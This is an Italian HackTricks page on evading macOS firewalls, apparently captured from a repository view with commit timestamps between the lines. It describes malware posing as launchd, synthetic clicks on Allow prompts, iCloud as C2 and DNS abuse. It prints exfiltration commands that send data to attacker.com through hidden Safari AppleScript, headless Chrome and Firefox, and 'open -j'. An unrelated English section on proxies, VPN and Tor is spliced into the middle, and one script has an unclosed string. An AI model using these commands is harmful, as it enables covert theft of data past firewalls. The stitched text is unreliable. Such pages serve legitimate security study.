hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

131 lines
6.3 KiB
Markdown
Raw Normal View History

2024-02-10 13:03:23 +00:00
# Bypassare i firewall di macOS
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 20:49:49 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
</details>
2024-02-10 13:03:23 +00:00
## Tecniche trovate
2024-02-10 13:03:23 +00:00
Le seguenti tecniche sono state trovate funzionanti in alcune app firewall di macOS.
2024-02-10 13:03:23 +00:00
### Sfruttare nomi della whitelist
2024-02-10 13:03:23 +00:00
* Ad esempio chiamare il malware con nomi di processi macOS ben noti come **`launchd`**&#x20;
2024-02-10 13:03:23 +00:00
### Click sintetico
2024-02-10 13:03:23 +00:00
* Se il firewall richiede il permesso all'utente, il malware deve **cliccare su Consenti**
2024-02-10 13:03:23 +00:00
### **Utilizzare binari firmati da Apple**
2024-02-10 13:03:23 +00:00
* Come **`curl`**, ma anche altri come **`whois`**
2024-02-10 13:03:23 +00:00
### Domini Apple ben noti
2024-02-10 13:03:23 +00:00
Il firewall potrebbe consentire connessioni a domini Apple ben noti come **`apple.com`** o **`icloud.com`**. E iCloud potrebbe essere utilizzato come C2.
2024-02-10 13:03:23 +00:00
### Bypass generico
2024-02-10 13:03:23 +00:00
Alcune idee per cercare di bypassare i firewall
2024-02-10 13:03:23 +00:00
### Verificare il traffico consentito
2024-02-10 13:03:23 +00:00
Conoscere il traffico consentito ti aiuterà a identificare i domini potenzialmente presenti nella whitelist o le applicazioni che hanno il permesso di accedervi
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
2024-02-10 13:03:23 +00:00
### Sfruttare DNS
2024-02-10 13:03:23 +00:00
Le risoluzioni DNS vengono effettuate tramite l'applicazione firmata **`mdnsreponder`**, che probabilmente sarà autorizzata a contattare i server DNS.
2024-02-07 04:06:18 +00:00
<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
2024-02-10 13:03:23 +00:00
### Attraverso le app del browser
* **oascript**
```applescript
tell application "Safari"
2024-02-10 13:03:23 +00:00
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
* Google Chrome
{% code overflow="wrap" %}
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
{% endcode %}
* Firefox
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
2024-02-10 13:03:23 +00:00
# Bypassing Firewalls in macOS
## Safari
Safari is the default web browser in macOS. It is important to understand how it interacts with firewalls and how to bypass them if necessary.
### Proxy Settings
Safari uses the system-wide proxy settings configured in macOS. These settings can be found in the **Network** section of **System Preferences**. By default, Safari will use the proxy settings defined in the **Automatic Proxy Configuration** or **Web Proxy (HTTP)** fields.
2024-02-10 13:03:23 +00:00
To bypass a firewall, you can modify the proxy settings to use a different proxy server or disable the proxy altogether.
2024-02-10 13:03:23 +00:00
### VPN
Using a virtual private network (VPN) can also help bypass firewalls. A VPN creates a secure connection between your device and a remote server, effectively hiding your IP address and bypassing any network restrictions.
To set up a VPN in macOS, go to the **Network** section of **System Preferences** and click on the **+** button to add a new network connection. Select **VPN** as the interface and follow the prompts to configure the VPN settings.
### Tor Browser
The Tor Browser is another option for bypassing firewalls in macOS. Tor is a network of volunteer-operated servers that allows users to browse the internet anonymously. The Tor Browser is based on the Firefox browser and routes your internet traffic through the Tor network.
To use the Tor Browser, download and install it from the official Tor Project website. Once installed, launch the Tor Browser and it will automatically connect to the Tor network.
### Conclusion
Bypassing firewalls in macOS can be achieved by modifying proxy settings, using a VPN, or utilizing the Tor Browser. These methods can help you access restricted websites and bypass network restrictions. However, it is important to use these techniques responsibly and within the boundaries of the law.
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
2024-02-10 13:03:23 +00:00
### Attraverso l'iniezione di processi
2024-02-10 13:03:23 +00:00
Se puoi **iniettare codice in un processo** che è autorizzato a connettersi a qualsiasi server, potresti eludere le protezioni del firewall:
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
## Riferimenti
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-30 20:49:49 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
</details>